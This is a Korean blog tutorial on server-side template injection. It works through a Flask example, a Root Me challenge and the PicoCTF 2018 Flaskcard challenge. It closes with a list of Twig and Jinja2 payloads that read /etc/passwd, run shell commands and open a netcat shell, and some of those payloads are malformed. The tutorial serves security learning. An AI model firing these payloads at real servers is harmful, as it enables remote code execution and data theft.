SSTI?
웹 템플릿 : 필요에 맞게 이미지나 동영상 또는 다른 요소를 첨가해서 제작하기 쉽도록 미리 만들어둔 페이지
SSTI(Server Side Templete Injection)는 서버측에서 입력한 값을 바탕으로 템블릿화 한 뒤 응답해줄때 발생한다.
- [root]/templates/index.html
<html>
<body>
<p>Here is my variable: {{ variable }}</p>
</body>
</html>
- flask testapp
from flask import Flask, render_template
app = Flask('testapp')
@app.route('/')
def index():
return render_template('index.html', variable='12345')
if __name__ == '__main__':
app.run()
플라스크는 이미 만들어진 템플릿을 가져다 {{ }} 로 둘러싸인 변수를 렌더링(12345) 후 리턴해주는 방식이다.
- 취약한 서버 코드의 일부
result = """
idx : %d<br>
email : %s<br>
message : %s<br>
is_checked : %d<br>
""" % (idx, email, message, is_checked)
return render_template_string(result)
http://web1.tendollar.kr:10102/submit?email=test1313&message={{7*7}}
message값을 받아서 HTML 템플릿화 (<br>태그를 보면알수있다)한 후 리턴해주는데 페이지 전체가 아닌 내부 템플릿만 리턴해준다.
Root Me의 SSTI 페이지
1. ajax를 사용함
2. $("#result").text(data); 같은 식으로 데이터를 삽입하는 형태
3. 삽입하는 변수에 ${7*7}을 했을 때 49가 뜨면 취약
hello 작성 후 Check를 하게되면 페이지에 It's seems that I know you :) 라는 메시지와함께 입력한 hello가 표시된다.
소스코드를 보면 ajax로 데이터를 보낸뒤 받은 데이터를 전부 <div id="result"></div>에 포함시키는 형태이다.
hello 대신 ${7*7} 을 입력하는 경우 아래와같은 html 템플릿이 만들어지며 렌더링 하는 과정에서 7*7이 계산된다.
template.html
"""<div id="result">It's seems that I know you :) %s<div>""" % (nick)
->
<div id="result">It's seems that I know you :) ${7*7}<div>
PICO CTF 2018 - Flaskcard
1. Create Card에서 form submit을 통해 post로 /create_card 페이지 (현재페이지) question, answer를 날림
2. 서버에서 템플릿 렌더링 후 List Cards 메뉴에서 출력해주는 형태
만든 카드는 "List Cards" 메뉴에서 확인할 수 있다.
{{7*7}} 을 입력하면 서버에서 렌더링 해준다.
7*7의 값인 49가 Question에 표시된것을 확인할 수 있다.
렌더링 전 template.html 의 일부
...
<li>
<strong>Question:</strong>{{7*7}}
</li>
...
렌더링 실패 시 기존에 렌더링 한 값까지 풀린다.
서버 DB에는 {{7*7}}로 저장되어있고, DB에서 데이터를 하나씩 빼와서 템플릿을 렌더링할때 취약점이 발생하는걸 확인할 수 있다.
공격 방법
SSTI 발생여부 및 템플릿 유추 방법.
초록색 선은 공격 성공시, 빨간선은 실패시를 의미
Ruby, Java, Twig, Smarty, Freemarker, Jade/Codepen, Velocity, Mako, Jinja2,
php : twig
{{7*7}}
{{__self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
jsp(springboot) : velocity, Freemarker
python : jinja2, mako,
__class__.__base__.__subclasses__ 알아보자.
__bases__.subclasses는 이 함수는 서브 클래스의 모든 함수를 반환 해주는 함수이다.
MRO(method resolution order) 는 클래스를 상속했을때 메서드를 가져오는 순서를 의미한다.
__class__.mro()[1].__subclasses__()[46] 이런식으로 해당 클래스내 객체에 접근 한다.
{{ '7'*7 }}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
{{ config.items() }}
{{ config.from_object('os') }}
{{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
{{ import os; os.startfile("nc -lnvp 4444 -e /bin/sh") }}
'웹 > 보안' 카테고리의 다른 글
SSO (0) | 2019.10.02 |
---|---|
SSRF (0) | 2019.10.01 |
파이썬 SQL 인젝션 (0) | 2019.09.30 |
운영체제 명령실행 (0) | 2019.09.03 |
주요 Editor 샘플페이지 정리 (0) | 2019.08.16 |